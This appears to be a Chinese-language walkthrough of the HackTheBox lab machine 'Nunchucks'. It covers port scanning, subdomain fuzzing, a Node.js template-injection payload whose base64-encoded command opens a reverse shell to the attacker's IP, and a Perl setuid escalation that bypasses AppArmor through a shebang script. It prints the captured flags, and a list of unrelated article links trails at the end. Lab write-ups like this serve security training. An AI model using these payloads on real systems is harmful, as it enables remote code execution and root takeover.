[Meachines] [Easy] Nunchucks Express Nodejs SSTI+AppArmor Bypass+Perl权限提升

Information Gathering

IP Address Opening Ports
10.10.11.122 TCP:22,80,443

$ ip='10.10.11.122'; itf='tun0'; if nmap -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c146dbb7459c3782e48f511d85b4721 (RSA)
|   256 a2f42c427465a37c26dd497223827271 (ECDSA)
|_  256 e18d44e7216d7c132fea3b8358aa02b3 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after:  2031-08-28T15:42:24
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Express Nodejs SSTI Injection

# echo "10.10.11.122 nunchucks.htb" >> /etc/hosts

$ ffuf -u https://nunchucks.htb/ -H 'Host: FUZZ.nunchucks.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

# echo "10.10.11.122 store.nunchucks.htb" >> /etc/hosts

view-source:https://store.nunchucks.htb/assets/js/main.js

POST /api/submit HTTP/1.1
Host: store.nunchucks.htb
Cookie: _csrf=XKgwzoMJoUdBmm6JQI1z-tdr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-None-Match: W/"2d-pR4kyQHkx2a7XX4cK6yb+54WzcA"
Te: trailers
Content-Type: application/json
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31


{"email": "test@example.com"}

{"email": "{``{7*8}}"}

{
"email": "{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjI4LzQ0NSAwPiYxCg==|base64 -d|bash')\")()}}"
}

User.txt

7cd2ec2b576f3a1054c8d5ece6da747a

Privilege Escalation:AppArmor Bypass && Perl

$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "ls /"'

AppArmor 安全模块的配置文件目录,AppArmor 是 Linux 系统中的一个强制访问控制(MAC)系统,用于限制进程的行为并提高系统的安全性。它通过使用配置文件来指定每个应用程序可以访问哪些资源(如文件、网络等),从而增强系统的安全性。

$ cat /etc/apparmor.d/usr.bin.perl

AppArmor 配置文件限制了 Perl 程序的权限,允许执行某些命令并访问指定目录,但禁止访问敏感文件和目录。

禁止读取 /etc/nsswitch.conf 文件。

禁止访问 /root/ 目录及其内容。

禁止访问 /etc/shadow 文件。

限制了某些命令(如 id、ls、cat、whoami 和 backup.pl)的权限,仅允许执行并读取。

PS:AppArmor与Perl之间存在BUG

问题:当脚本文件中包含 shebang 行(如 #!/usr/bin/perl)时,即使 AppArmor 配置文件已经禁止了 perl 的执行,脚本仍然能够执行。这是因为脚本文件在执行时会先由操作系统解析并使用指定的解释器(如 perl),而不是直接执行脚本文件本身。这样,AppArmor 的配置文件并没有被应用到解释器的执行上。

原因:问题的根本原因是,AppArmor 无法区分脚本本身和由脚本调用的解释器。执行脚本时,操作系统会先通过 shebang 找到并启动解释器(如 perl),然后解释器再执行脚本。由于 AppArmor 配置文件是基于执行程序(如 perl)来设定的,而不是针对脚本文件本身,因此即使脚本本身受到 AppArmor 限制,启动脚本的解释器仍然能够绕过这个限制。

https://bugs.launchpad.net/apparmor/+bug/1911431

$ cd /tmp;set +H;echo -e "#!/usr/bin/perl\nuse POSIX qw(setuid);\nPOSIX::setuid(0);\nexec \"/bin/bash\";" > root.pl ;chmod +x root.pl;./root.pl

Root.txt

9cfe315a32d3bc1883e22ac85030c3d0

相关推荐
天堂的恶魔9462 小时前
C++封装
java·开发语言·c++
notfindjob2 小时前
deepseek API 调用-golang
开发语言·后端·golang
阿猿收手吧!2 小时前
【CPP】CPP经典面试题
开发语言·c++·面试·协程
去往火星3 小时前
【ffmpeg 到Qt的图片格式转换】精彩的像素:深入解析 AVFrame 到 QImage 的转换
开发语言·qt·ffmpeg
山禾女鬼0013 小时前
JavaScript常见事件和修饰符
开发语言·javascript·ecmascript
程序员小续4 小时前
Node.js学习指南
开发语言·前端·javascript·node.js·ecmascript·es6
Cuit小唐4 小时前
qt使用MQTT协议连接阿里云demo
开发语言·qt
半桔5 小时前
七大排序思想
c语言·开发语言·数据结构·c++·算法·排序算法
四念处茫茫5 小时前
【C语言系列】深入理解指针(5)
c语言·开发语言·visual studio